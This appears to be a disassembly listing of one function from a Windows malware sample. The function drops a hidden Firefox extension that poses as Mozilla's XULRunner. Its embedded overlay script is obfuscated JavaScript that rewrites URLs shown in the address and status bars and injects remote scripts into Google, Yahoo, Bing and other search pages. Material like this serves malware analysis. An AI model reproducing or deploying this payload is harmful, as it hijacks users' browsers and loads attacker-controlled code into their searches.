Function at 0x100228f1
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x414]
xor esi, esi
push eax
mov byte [ebp - 1], 0
mov word [ebp - 0x414], si
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push esi
lea eax, [ebp - 0x414]
push eax
call ebx
cmp eax, 3
je 0x10022a53
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
mov word [ebp - 0x20c], si
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.chrome.manifest
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x7a
push str.content_xulrunner_file:chrome_content__noverlay_chrome:__browser_content_browser.xul_chrome:__xulrunner_content_overlay.xul
lea eax, [ebp - 0x20c]
push eax
call fcn.1001520c
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
call edi
push str.install.rdf
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x2e8
push str.__xml_version_1.0____n_RDF_xmlns_http:__www.w3.org_1999_02_22_rdf_syntax_ns__n_____xmlns:em_http:__www.mozilla.org_2004_em_rdf___n___Description_about_urn:mozilla:install_manifest___n_____em:name_XULRunner__em:name__n_____em:id_sample_example.net__em:id__n_____em:version_1.9.1__em:version__n_____em:creator_Mozilla_Corp.__em:creator__n_____em:description_XULRunner_is_a_Mozilla_runtime_package__em:description__n_____em:type_2__em:type__n_____em:hidden_true__em:hidden__n_____em:targetApplication__n_______Description__n_________em:id_ec8030f7_c20a_464f_9b0e_13a3a9e97384__em:id__n_________em:minVersion_1.5__em:minVersion__n_________em:maxVersion_9...__em:maxVersion__n________Description__n______em:targetApplication__n____Description________n__RDF____BEGIN_LICENSE_BLOCK__n____Version:_MPL_1.1_GPL_2.0_LGPL_2.1_n__n__The_contents_of_this_file_are_subject_to_the_Mozilla_Public_License_Version_n__1.1__the__License____you_may_not_use_this_file_except_in_compliance_with_n__the_License._You_may_obtain_a_copy_of_the_License_at_n__http:__www.mozilla.org_MPL__n__n__Software_distributed_under_the_License_is_distributed_on_an__AS_IS__basis__n__WITHOUT_WARRANTY_OF_ANY_KIND__either_express_or_implied._See_the_License_n__for_the_specific_language_governing_rights_and_limitations_under_the_n__License._n__n__The_Original_Code_is_XULRunner._n__n__The_Initial_Developer_of_the_Original_Code_is_n__n__Einar_Egilsson.__email:_xulrunner_dev.mozilla.org__n__n__Portions_created_by_the_Initial_Developer_are_Copyright__C__2006_n__the_Initial_Developer._All_Rights_Reserved._n__n__Contributor_s_:_n__n__Alternatively__the_contents_of_this_file_may_be_used_under_the_terms_of_n__either_the_GNU_General_Public_License_Version_2_or_later__the__GPL____or_n__the_GNU_Lesser_General_Public_License_Version_2.1_or_later__the__LGPL____n__in_which_case_the_provisions_of_the_GPL_or_the_LGPL_are_applicable_instead_n__of_those_above._If_you_wish_to_allow_use_of_your_version_of_this_file_only_n__under_the_terms_of_either_the_GPL_or_the_LGPL__and_not_to_allow_others_to_n__use_your_version_of_this_file_under_the_terms_of_the_MPL__indicate_your_n__decision_by_deleting_the_provisions_above_and_replace_them_with_the_notice_n__and_other_provisions_required_by_the_GPL_or_the_LGPL._If_you_do_not_delete_n__the_provisions_above__a_recipient_may_use_your_version_of_this_file_under_n__the_terms_of_any_one_of_the_MPL__the_GPL_or_the_LGPL._n__n___END_LICENSE_BLOCK____n_n_r_nvar___d____n_r_nvar___u___
lea eax, [ebp - 0x20c]
push eax
call fcn.1001520c
push str.chrome_
lea eax, [ebp - 0x414]
push eax
call esi
push 0
lea eax, [ebp - 0x414]
push eax
call ebx
cmp eax, 3
je 0x10022a53
push str.content_
lea eax, [ebp - 0x414]
push eax
call esi
push 0
lea eax, [ebp - 0x414]
push eax
call ebx
cmp eax, 3
je 0x10022a53
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
call edi
push str._cfg.js
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x6ce
push 0x10032180
lea eax, [ebp - 0x20c]
push eax
call fcn.1001520c
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
call edi
push str.overlay.xul
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x1744
push str.__xml_version_1.0__encoding_UTF_8____r_n_____r_n___BEGIN_LICENSE_BLOCK__r_n____Version:_MPL_1.1_GPL_2.0_LGPL_2.1_r_n__r_n__The_contents_of_this_file_are_subject_to_the_Mozilla_Public_License_Version_r_n__1.1__the__License____you_may_not_use_this_file_except_in_compliance_with_r_n__the_License._You_may_obtain_a_copy_of_the_License_at_r_n__http:__www.mozilla.org_MPL__r_n__r_n__Software_distributed_under_the_License_is_distributed_on_an__AS_IS__basis__r_n__WITHOUT_WARRANTY_OF_ANY_KIND__either_express_or_implied._See_the_License_r_n__for_the_specific_language_governing_rights_and_limitations_under_the_r_n__License._r_n__r_n__The_Original_Code_is_XULRunner._r_n__r_n__The_Initial_Developer_of_the_Original_Code_is_r_n__r_n__Einar_Egilsson.__email:_xulrunner_dev.mozilla.org__r_n__r_n__Portions_created_by_the_Initial_Developer_are_Copyright__C__2006_r_n__the_Initial_Developer._All_Rights_Reserved._r_n__r_n___END_LICENSE_BLOCK____r_n_____r_n_overlay_id_xulrunner_overlay__xmlns_http:__www.mozilla.org_keymaster_gatekeeper_there.is.only.xul___r_n_t_script_type_application_x_javascript__src_chrome:__xulrunner_content__cfg.js____r_n_t_script_type_application_x_javascript__function_dec_s___tvar_res______next______tvar_len__s.length__tif_len_2___0__return_____tfor_var_i0__ilt_len__i2__next__s.substring_i__i2__next__parseInt_next__16__res__String.fromCharCode_24next___t_treturn_res_function_findOur_str___tvar_fdom__last__pos2__pos__ret_try__tif__posstr.indexOf_amp_fadurl______1__pos2__str.substring_pos8_.indexOf_amp___if__pos2__return__1_fdom__str.substring_pos8__pos8pos2__if__document.fdom__document.fdom__fdom_last__str.substring_pos8pos2__if__pos2__last.indexOf_amp_aclck______1__last__last.substring_0__pos2___pos2__str.substring_7_.indexOf____if__pos2__return__1_if__document.ccdom__document.ccdom__str.substring_7__pos2__return_http:____fdom__str.substring_pos27__pos___last__t_telse_if__posstr.indexOf_document.ccdom______1__return_str.substring_0_pos___document.fdom__tcatch_err__treturn__1___script__script_type_application_x_javascript___twindow.addEventListener__load___function____xulRun.init______false____twindow.addEventListener__load___initRequestObserver__false___tvar_xulRun___init:_function____var_appcontent__document.getElementById__appcontent____if_appcontent___appcontent.addEventListener__DOMContentLoaded___xulRun.onPageLoad__true____var_pos__dom__dom2_try___d__dec___d__var_today__new_Date___pos____d.substring_7_.indexOf____dom____d.substring_7__pos7____d__http:____today.getDate____.__dom____d.substring_pos7___catch_err__tif____d_____u___return__var_s_document.getElementById__urlbar__.addEventListener__DOMAttrModified___function_e___if__s__findOur_e.currentTarget.value______1__e.currentTarget.value__s__t__false__document.getElementById__statusbar_display__.addEventListener__DOMAttrModified___function_e__if_e.target.label.indexOf_dom___1__e.target.label___else_if__sfindOur_e.target.label______1__e.target.label__s___false____onPageLoad:_function_aEvent___var_src____d_var_script_var_doc__aEvent.originalTarget__var_ref__doc.referrer__var_loc__document.getElementById__urlbar__.value_if_loc__undefined__loc__doc.location.href__if__loc.match__google.__searchcse_._amp___q____loc.match___search.yahoo.search._amp___p____loc.match__ask.com._web._amp___q___loc.match__bing.com_search._amp___q___loc.match__aol_search._queryq_____src_____u_amp_r_Math.random___script__doc.createElement_script__script.id___js_0__script.src__src_doc.getElementsByTagName_head__0_.appendChild_script___else_if_loc.match___yahooaskaolbing_.__.w________src.search___http:___________src__RegExp._1_je.js_r_Math.random___script__doc.createElement_script___script.id___js_e__script.src__src_doc.getElementsByTagName_head__0_.appendChild_script____else_if___loc.match___google_.__.w_______amp_amp_
lea eax, [ebp - 0x20c]
push eax
call fcn.1001520c
mov byte [ebp - 1], 1
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 4